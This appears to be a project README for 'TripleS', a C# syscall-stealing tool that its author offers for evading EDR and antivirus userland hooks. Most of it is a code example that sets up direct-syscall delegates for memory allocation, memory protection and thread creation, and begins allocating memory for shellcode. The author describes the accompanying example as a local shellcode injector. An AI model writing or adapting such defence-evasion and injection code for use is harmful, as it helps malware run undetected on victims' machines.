TripleS or 3S is short for Syscall Stub Stealer. It freshly "steal" syscall stub straight from the disk. You can use TripleS for evading userland hooks from EDRs/AVs. TripleS doesnt invoke any unmanaged API, its all .NET's managed function. I should rename this program tho, since it doesnt use stubs anymore (v4), instead, it only collects syscall IDs.
TripleS syscallstealer = new TripleS();
bool result = syscallstealer.PrepareGateSpace();
if (!result) {
Console.WriteLine("Failed to prepare gate space!");
return;
}
syscallstealer.CollectAllSyscalls(); // the syscall informations will be stored on the TripleS object
if (!syscallstealer.IsSyscallReady) {
Console.WriteLine("Failed to collect syscall!");
return;
}
NTAVMDelegate NTAVM = (NTAVMDelegate)Marshal.GetDelegateForFunctionPointer(syscallstealer.GatePositionAddress, typeof(NTAVMDelegate));
NTCTEDelegate NTCTE = (NTCTEDelegate)Marshal.GetDelegateForFunctionPointer(syscallstealer.GatePositionAddress, typeof(NTCTEDelegate));
NTPVMDelegate NTPVM = (NTPVMDelegate)Marshal.GetDelegateForFunctionPointer(syscallstealer.GatePositionAddress, typeof(NTPVMDelegate));
NTWFSODelegate NTWFSO = (NTWFSODelegate)Marshal.GetDelegateForFunctionPointer(syscallstealer.GatePositionAddress, typeof(NTWFSODelegate));
IntPtr ProcessHandle = new IntPtr(-1); // pseudo-handle for current process
IntPtr ShellcodeBytesLength = new IntPtr(ShellcodeBytes.Length);
IntPtr AllocationAddress = new IntPtr();
IntPtr ZeroBitsThatZero = IntPtr.Zero;
UInt32 AllocationTypeUsed = (UInt32)AllocationType.Commit | (UInt32)AllocationType.Reserve;
Console.WriteLine("[*] Allocating memory...");
syscallstealer.Gate(NTAVMHash); // dont forget to set the gate to your destination function ;)
NTAVM(ProcessHandle, ref AllocationAddress, ZeroBitsThatZero, ref ShellcodeBytesLength, AllocationTypeUsed, 0x04);
If you still confused, you can take a look at Main
function from UsageExample
class, its a local shellcode injector function with TripleS implemented. This code uses C# 5, so it can be compiled with the built-in CSC from Windows 10.